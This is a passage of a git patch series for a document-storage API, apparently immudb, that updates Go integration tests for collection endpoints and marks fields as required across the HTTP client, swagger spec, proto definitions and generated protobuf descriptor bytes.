s.expect.PUT("/collections"). - WithHeader("grpc-metadata-sessionid", s.sessionID). - WithJSON(payload). - Expect(). - Status(http.StatusBadRequest).JSON().Object().NotEmpty(). - Value("error").IsEqual("json: cannot unmarshal number into Go value of type string") + Status(http.StatusOK).JSON().Object().Empty() } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneInvalidField() { + name := uuid.New().String() payload := map[string]interface{}{ - "name": uuid.New().String(), "fields": "birth_date", } - s.expect.PUT("/collections"). + s.expect.POST(fmt.Sprintf("/collection/%s", name)). WithHeader("grpc-metadata-sessionid", s.sessionID). WithJSON(payload). Expect(). Status(http.StatusBadRequest).JSON().Object().NotEmpty() - s.expect.GET(fmt.Sprintf("/collection/%s", payload["name"])). + s.expect.GET(fmt.Sprintf("/collection/%s", name)). WithHeader("grpc-metadata-sessionid", s.sessionID). Expect(). Status(http.StatusInternalServerError). @@ -232,39 +186,34 @@ func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneInvalidFi } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneEmptyField() { + name := uuid.New().String() payload := map[string]interface{}{ - "name": uuid.New().String(), "fields": "", } - s.expect.PUT("/collections"). + s.expect.POST(fmt.Sprintf("/collection/%s", name)). WithHeader("grpc-metadata-sessionid", s.sessionID). WithJSON(payload). Expect(). Status(http.StatusBadRequest).JSON().Object().NotEmpty() - s.expect.GET(fmt.Sprintf("/collection/%s", payload["name"])). + s.expect.GET(fmt.Sprintf("/collection/%s", name)). WithHeader("grpc-metadata-sessionid", s.sessionID). - WithQuery("name", payload["name"]). Expect(). Status(http.StatusInternalServerError). JSON().Object().NotEmpty() } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithExistingName() { - payload := map[string]interface{}{ - "name": uuid.New().String(), - } + name := uuid.New().String() - s.expect.PUT("/collections"). + s.expect.POST(fmt.Sprintf("/collection/%s", name)). WithHeader("grpc-metadata-sessionid", s.sessionID). - WithJSON(payload). Expect(). Status(http.StatusOK).JSON().Object().Empty() - s.expect.PUT("/collections"). + s.expect.POST(fmt.Sprintf("/collection/%s", name)). WithHeader("grpc-metadata-sessionid", s.sessionID). - WithJSON(payload). Expect(). Status(http.StatusInternalServerError).JSON().Object().NotEmpty() @@ -275,7 +224,7 @@ func (s *CreateCollectionsTestSuite) TestCreateCollectionWithExistingName() { JSON().Object() collectionsFound := collections.Value("collections").Array().FindAll(func(index int, value *httpexpect.Value) bool { - return value.Object().Value("name").Raw() == payload["name"] + return value.Object().Value("name").Raw() == name }) assert.Equal(s.T(), len(collectionsFound), 1) diff --git a/test/document_storage_tests/documents_tests/delete_collections_test.go b/test/document_storage_tests/documents_tests/delete_collections_test.go index 6e9cc29b18..c64a4e94cd 100644 --- a/test/document_storage_tests/documents_tests/delete_collections_test.go +++ b/test/document_storage_tests/documents_tests/delete_collections_test.go @@ -84,13 +84,6 @@ func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithNameAndMulti Status(http.StatusInternalServerError) } -func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithIntegerName() { - s.expect.DELETE(fmt.Sprintf("/collection/%d", 123)). - WithHeader("grpc-metadata-sessionid", s.token). - Expect(). - Status(http.StatusInternalServerError) -} - func (s *DeleteCollectionsTestSuite) TestDeleteNonExistingCollection() { error := s.expect.DELETE(fmt.Sprintf("/collection/%s", s.collection_name)). WithHeader("grpc-metadata-sessionid", s.token). From 1885f0e6e4ca7c9203b37525170548d409f8b2f7 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 22 May 2023 15:42:43 -0300 Subject: [PATCH 0570/1062] chore(pkg/api): annotate primitive types as required Signed-off-by: Jeronimo Irazabal --- pkg/api/httpclient/client.go | 86 ++--- pkg/api/openapi/apidocs.swagger.json | 120 +++++-- pkg/api/proto/documents.proto | 27 +- pkg/api/protomodel/documents.pb.go | 483 +++++++++++++++------------ 4 files changed, 425 insertions(+), 291 deletions(-) diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go index 1c79a31977..b7e7c4f90a 100644 --- a/pkg/api/httpclient/client.go +++ b/pkg/api/httpclient/client.go @@ -57,14 +57,14 @@ type ImmudbmodelOpenSessionResponse struct { // ModelAuditDocumentRequest defines model for modelAuditDocumentRequest. type ModelAuditDocumentRequest struct { - Desc *bool `json:"desc,omitempty"` + Desc bool `json:"desc"` Page int64 `json:"page"` PageSize int64 `json:"pageSize"` } // ModelAuditDocumentResponse defines model for modelAuditDocumentResponse. type ModelAuditDocumentResponse struct { - Revisions *[]ModelDocumentAtRevision `json:"revisions,omitempty"` + Revisions []ModelDocumentAtRevision `json:"revisions"` } // ModelCloseSessionRequest defines model for modelCloseSessionRequest. @@ -75,10 +75,10 @@ type ModelCloseSessionResponse = map[string]interface{} // ModelCollection defines model for modelCollection. type ModelCollection struct { - DocumentIdFieldName *string `json:"documentIdFieldName,omitempty"` - Fields *[]ModelField `json:"fields,omitempty"` - Indexes *[]ModelIndex `json:"indexes,omitempty"` - Name *string `json:"name,omitempty"` + DocumentIdFieldName string `json:"documentIdFieldName"` + Fields []ModelField `json:"fields"` + Indexes []ModelIndex `json:"indexes"` + Name string `json:"name"` } // ModelComparisonOperator defines model for modelComparisonOperator. @@ -86,7 +86,7 @@ type ModelComparisonOperator string // ModelCreateCollectionRequest defines model for modelCreateCollectionRequest. type ModelCreateCollectionRequest struct { - DocumentIdFieldName *string `json:"documentIdFieldName,omitempty"` + DocumentIdFieldName string `json:"documentIdFieldName"` Fields *[]ModelField `json:"fields,omitempty"` Indexes *[]ModelIndex `json:"indexes,omitempty"` } @@ -96,8 +96,8 @@ type ModelCreateCollectionResponse = map[string]interface{} // ModelCreateIndexRequest defines model for modelCreateIndexRequest. type ModelCreateIndexRequest struct { - Fields *[]string `json:"fields,omitempty"` - IsUnique *bool `json:"isUnique,omitempty"` + Fields []string `json:"fields"` + IsUnique bool `json:"isUnique"` } // ModelCreateIndexResponse defines model for modelCreateIndexResponse. @@ -120,15 +120,15 @@ type ModelDeleteIndexResponse = map[string]interface{} // ModelDocumentAtRevision defines model for modelDocumentAtRevision. type ModelDocumentAtRevision struct { Document *map[string]interface{} `json:"document,omitempty"` - DocumentId *string `json:"documentId,omitempty"` + DocumentId string `json:"documentId"` Metadata *ModelDocumentMetadata `json:"metadata,omitempty"` - Revision *string `json:"revision,omitempty"` - TransactionId *string `json:"transactionId,omitempty"` + Revision string `json:"revision"` + TransactionId string `json:"transactionId"` } // ModelDocumentMetadata defines model for modelDocumentMetadata. type ModelDocumentMetadata struct { - Deleted *bool `json:"deleted,omitempty"` + Deleted bool `json:"deleted"` } // ModelField defines model for modelField. @@ -141,7 +141,7 @@ type ModelField struct { type ModelFieldComparison struct { Field string `json:"field"` Operator ModelComparisonOperator `json:"operator"` - Value interface{} `json:"value,omitempty"` + Value interface{} `json:"value"` } // ModelFieldType defines model for modelFieldType. @@ -149,29 +149,29 @@ type ModelFieldType string // ModelGetCollectionResponse defines model for modelGetCollectionResponse. type ModelGetCollectionResponse struct { - Collection *ModelCollection `json:"collection,omitempty"` + Collection ModelCollection `json:"collection"` } // ModelGetCollectionsResponse defines model for modelGetCollectionsResponse. type ModelGetCollectionsResponse struct { - Collections *[]ModelCollection `json:"collections,omitempty"` + Collections []ModelCollection `json:"collections"` } // ModelIndex defines model for modelIndex. type ModelIndex struct { - Fields *[]string `json:"fields,omitempty"` - IsUnique *bool `json:"isUnique,omitempty"` + Fields []string `json:"fields"` + IsUnique bool `json:"isUnique"` } // ModelInsertDocumentsRequest defines model for modelInsertDocumentsRequest. type ModelInsertDocumentsRequest struct { - Documents *[]map[string]interface{} `json:"documents,omitempty"` + Documents []map[string]interface{} `json:"documents"` } // ModelInsertDocumentsResponse defines model for modelInsertDocumentsResponse. type ModelInsertDocumentsResponse struct { - DocumentIds *[]string `json:"documentIds,omitempty"` - TransactionId *string `json:"transactionId,omitempty"` + DocumentIds []string `json:"documentIds"` + TransactionId string `json:"transactionId"` } // ModelKeepAliveRequest defines model for modelKeepAliveRequest. @@ -188,66 +188,66 @@ type ModelOrderByClause struct { // ModelProofDocumentRequest defines model for modelProofDocumentRequest. type ModelProofDocumentRequest struct { - ProofSinceTransactionId *string `json:"proofSinceTransactionId,omitempty"` - TransactionId *string `json:"transactionId,omitempty"` + ProofSinceTransactionId string `json:"proofSinceTransactionId"` + TransactionId string `json:"transactionId"` } // ModelProofDocumentResponse defines model for modelProofDocumentResponse. type ModelProofDocumentResponse struct { - CollectionId *int64 `json:"collectionId,omitempty"` - Database *string `json:"database,omitempty"` - DocumentIdFieldName *string `json:"documentIdFieldName,omitempty"` - EncodedDocument *[]byte `json:"encodedDocument,omitempty"` - VerifiableTx *SchemaVerifiableTxV2 `json:"verifiableTx,omitempty"` + CollectionId int64 `json:"collectionId"` + Database string `json:"database"` + DocumentIdFieldName string `json:"documentIdFieldName"` + EncodedDocument []byte `json:"encodedDocument"` + VerifiableTx SchemaVerifiableTxV2 `json:"verifiableTx"` } // ModelQuery defines model for modelQuery. type ModelQuery struct { - Expressions *[]ModelQueryExpression `json:"expressions,omitempty"` - Limit *int64 `json:"limit,omitempty"` - OrderBy *[]ModelOrderByClause `json:"orderBy,omitempty"` + Expressions []ModelQueryExpression `json:"expressions"` + Limit int64 `json:"limit"` + OrderBy []ModelOrderByClause `json:"orderBy"` } // ModelQueryExpression defines model for modelQueryExpression. type ModelQueryExpression struct { - FieldComparisons *[]ModelFieldComparison `json:"fieldComparisons,omitempty"` + FieldComparisons []ModelFieldComparison `json:"fieldComparisons"` } // ModelReplaceDocumentsRequest defines model for modelReplaceDocumentsRequest. type ModelReplaceDocumentsRequest struct { - Document *map[string]interface{} `json:"document,omitempty"` - Query ModelQuery `json:"query"` + Document map[string]interface{} `json:"document"` + Query ModelQuery `json:"query"` } // ModelReplaceDocumentsResponse defines model for modelReplaceDocumentsResponse. type ModelReplaceDocumentsResponse struct { - Revisions *[]ModelDocumentAtRevision `json:"revisions,omitempty"` + Revisions []ModelDocumentAtRevision `json:"revisions"` } // ModelSearchDocumentsRequest defines model for modelSearchDocumentsRequest. type ModelSearchDocumentsRequest struct { - KeepOpen *bool `json:"keepOpen,omitempty"` - Page int64 `json:"page"` - PageSize int64 `json:"pageSize"` - Query *ModelQuery `json:"query,omitempty"` + KeepOpen bool `json:"keepOpen"` + Page int64 `json:"page"` + PageSize int64 `json:"pageSize"` + Query ModelQuery `json:"query"` } // ModelSearchDocumentsRequestWith defines model for modelSearchDocumentsRequestWith. type ModelSearchDocumentsRequestWith struct { - KeepOpen *bool `json:"keepOpen,omitempty"` + KeepOpen bool `json:"keepOpen"` Page int64 `json:"page"` PageSize int64 `json:"pageSize"` } // ModelSearchDocumentsResponse defines model for modelSearchDocumentsResponse. type ModelSearchDocumentsResponse struct { - Revisions *[]ModelDocumentAtRevision `json:"revisions,omitempty"` - SearchId *string `json:"searchId,omitempty"` + Revisions []ModelDocumentAtRevision `json:"revisions"` + SearchId string `json:"searchId"` } // ModelUpdateCollectionRequest defines model for modelUpdateCollectionRequest. type ModelUpdateCollectionRequest struct { - DocumentIdFieldName *string `json:"documentIdFieldName,omitempty"` + DocumentIdFieldName string `json:"documentIdFieldName"` } // ModelUpdateCollectionResponse defines model for modelUpdateCollectionResponse. diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 93efb9d307..f6a4f62743 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -667,6 +667,7 @@ } }, "required": [ + "desc", "page", "pageSize" ] @@ -680,7 +681,10 @@ "$ref": "#/definitions/modelDocumentAtRevision" } } - } + }, + "required": [ + "revisions" + ] }, "modelCloseSessionRequest": { "type": "object" @@ -709,7 +713,13 @@ "$ref": "#/definitions/modelIndex" } } - } + }, + "required": [ + "name", + "documentIdFieldName", + "fields", + "indexes" + ] }, "modelComparisonOperator": { "type": "string", @@ -743,7 +753,10 @@ "$ref": "#/definitions/modelIndex" } } - } + }, + "required": [ + "documentIdFieldName" + ] }, "modelCreateCollectionResponse": { "type": "object" @@ -760,7 +773,11 @@ "isUnique": { "type": "boolean" } - } + }, + "required": [ + "fields", + "isUnique" + ] }, "modelCreateIndexResponse": { "type": "object" @@ -805,7 +822,12 @@ "document": { "type": "object" } - } + }, + "required": [ + "transactionId", + "documentId", + "revision" + ] }, "modelDocumentMetadata": { "type": "object", @@ -813,7 +835,10 @@ "deleted": { "type": "boolean" } - } + }, + "required": [ + "deleted" + ] }, "modelField": { "type": "object", @@ -843,7 +868,8 @@ }, "required": [ "field", - "operator" + "operator", + "value" ] }, "modelFieldType": { @@ -862,7 +888,10 @@ "collection": { "$ref": "#/definitions/modelCollection" } - } + }, + "required": [ + "collection" + ] }, "modelGetCollectionsResponse": { "type": "object", @@ -873,7 +902,10 @@ "$ref": "#/definitions/modelCollection" } } - } + }, + "required": [ + "collections" + ] }, "modelIndex": { "type": "object", @@ -887,7 +919,11 @@ "isUnique": { "type": "boolean" } - } + }, + "required": [ + "fields", + "isUnique" + ] }, "modelInsertDocumentsRequest": { "type": "object", @@ -898,7 +934,10 @@ "type": "object" } } - } + }, + "required": [ + "documents" + ] }, "modelInsertDocumentsResponse": { "type": "object", @@ -913,7 +952,11 @@ "type": "string" } } - } + }, + "required": [ + "transactionId", + "documentIds" + ] }, "modelKeepAliveRequest": { "type": "object" @@ -947,7 +990,11 @@ "type": "string", "format": "uint64" } - } + }, + "required": [ + "transactionId", + "proofSinceTransactionId" + ] }, "modelProofDocumentResponse": { "type": "object", @@ -969,7 +1016,14 @@ "verifiableTx": { "$ref": "#/definitions/schemaVerifiableTxV2" } - } + }, + "required": [ + "database", + "collectionId", + "documentIdFieldName", + "encodedDocument", + "verifiableTx" + ] }, "modelQuery": { "type": "object", @@ -990,7 +1044,12 @@ "type": "integer", "format": "int64" } - } + }, + "required": [ + "expressions", + "orderBy", + "limit" + ] }, "modelQueryExpression": { "type": "object", @@ -1001,7 +1060,10 @@ "$ref": "#/definitions/modelFieldComparison" } } - } + }, + "required": [ + "fieldComparisons" + ] }, "modelReplaceDocumentsRequest": { "type": "object", @@ -1014,7 +1076,8 @@ } }, "required": [ - "query" + "query", + "document" ] }, "modelReplaceDocumentsResponse": { @@ -1026,7 +1089,10 @@ "$ref": "#/definitions/modelDocumentAtRevision" } } - } + }, + "required": [ + "revisions" + ] }, "modelSearchDocumentsRequest": { "type": "object", @@ -1047,8 +1113,10 @@ } }, "required": [ + "query", "page", - "pageSize" + "pageSize", + "keepOpen" ] }, "modelSearchDocumentsRequestWith": { @@ -1068,7 +1136,8 @@ }, "required": [ "page", - "pageSize" + "pageSize", + "keepOpen" ] }, "modelSearchDocumentsResponse": { @@ -1083,7 +1152,11 @@ "$ref": "#/definitions/modelDocumentAtRevision" } } - } + }, + "required": [ + "searchId", + "revisions" + ] }, "modelUpdateCollectionRequest": { "type": "object", @@ -1091,7 +1164,10 @@ "documentIdFieldName": { "type": "string" } - } + }, + "required": [ + "documentIdFieldName" + ] }, "modelUpdateCollectionResponse": { "type": "object" diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index dbd1a60c03..df7ae84732 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -52,7 +52,8 @@ message CreateCollectionRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ - "name" + "name", + "documentIdFieldName" ] } }; @@ -174,7 +175,8 @@ message UpdateCollectionRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ - "name" + "name", + "documentIdFieldName" ] } }; @@ -291,6 +293,8 @@ message SearchDocumentsRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ + "searchId", + "query", "page", "pageSize", "keepOpen" @@ -312,7 +316,7 @@ message Query { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ - "collectionName" + "collectionName", "expressions", "orderBy", "limit" @@ -383,6 +387,7 @@ message SearchDocumentsResponse { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ + "searchId", "revisions" ] } @@ -459,7 +464,9 @@ message ProofDocumentRequest { json_schema: { required: [ "collectionName", - "documentId" + "documentId", + "transactionId", + "proofSinceTransactionId" ] } }; @@ -471,6 +478,18 @@ message ProofDocumentRequest { } message ProofDocumentResponse { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "database", + "collectionId", + "documentIdFieldName", + "encodedDocument", + "verifiableTx" + ] + } + }; + string database = 1; uint32 collectionId = 2; string documentIdFieldName = 3; diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 9d0ed56d3f..183710cdde 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -2077,7 +2077,7 @@ var file_documents_proto_rawDesc = []byte{ 0x74, 0x6f, 0x63, 0x2d, 0x67, 0x65, 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x0c, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0xc9, 0x01, 0x0a, 0x17, 0x43, 0x72, 0x65, 0x61, + 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0xdf, 0x01, 0x0a, 0x17, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, @@ -2089,237 +2089,276 @@ var file_documents_proto_rawDesc = []byte{ 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x2d, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x07, 0x69, 0x6e, - 0x64, 0x65, 0x78, 0x65, 0x73, 0x3a, 0x0c, 0x92, 0x41, 0x09, 0x0a, 0x07, 0xd2, 0x01, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x5d, 0x0a, 0x05, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x04, - 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, - 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x3a, 0x13, 0x92, 0x41, 0x10, 0x0a, 0x0e, - 0xd2, 0x01, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x3b, - 0x0a, 0x05, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, - 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0x38, 0x0a, 0x14, 0x47, - 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x3a, 0x0c, 0x92, 0x41, 0x09, 0x0a, 0x07, 0xd2, 0x01, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x51, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x38, - 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xae, 0x01, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x30, 0x0a, 0x13, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, - 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, - 0x6c, 0x64, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x2d, 0x0a, 0x07, 0x69, 0x6e, - 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x52, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x47, 0x65, 0x74, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x22, 0x54, 0x0a, 0x16, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3a, 0x0a, 0x0b, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x3b, 0x0a, 0x17, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x3a, 0x0c, 0x92, 0x41, 0x09, 0x0a, 0x07, 0xd2, 0x01, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x6d, 0x0a, 0x17, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x64, 0x65, 0x78, 0x65, 0x73, 0x3a, 0x22, 0x92, 0x41, 0x1f, 0x0a, 0x1d, 0xd2, 0x01, 0x04, 0x6e, + 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, + 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x5d, 0x0a, 0x05, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x12, + 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x3a, + 0x13, 0x92, 0x41, 0x10, 0x0a, 0x0e, 0xd2, 0x01, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x04, + 0x74, 0x79, 0x70, 0x65, 0x22, 0x56, 0x0a, 0x05, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x0a, + 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, + 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, + 0x65, 0x3a, 0x19, 0x92, 0x41, 0x16, 0x0a, 0x14, 0xd2, 0x01, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, + 0x73, 0xd2, 0x01, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0x38, 0x0a, 0x14, + 0x47, 